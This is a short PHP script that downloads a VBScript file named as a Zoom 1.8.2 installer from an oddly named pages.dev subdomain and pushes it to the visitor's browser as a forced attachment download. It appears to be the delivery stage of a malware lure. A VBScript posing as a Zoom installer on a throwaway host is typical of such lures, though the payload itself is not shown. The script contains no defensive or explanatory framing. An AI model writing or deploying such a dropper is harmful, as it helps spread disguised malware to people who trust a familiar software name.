<?php
// URL of the remote file
$file_url = 'https://75018a22.satiizoomroolin.pages.dev/Zoom.1.8.2.Installer.vbs';

// Get the filename from the URL
$filename = basename(parse_url($file_url, PHP_URL_PATH));

// Initialize cURL session
$ch = curl_init($file_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute cURL request
$file_data = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if the request was successful
if ($http_code == 200 && $file_data !== false) {
    // Send headers to initiate download
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename="' . $filename . '"');
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . strlen($file_data));
    echo $file_data;
    exit;
} else {
    echo "File not found or couldn't be downloaded.";
}
?>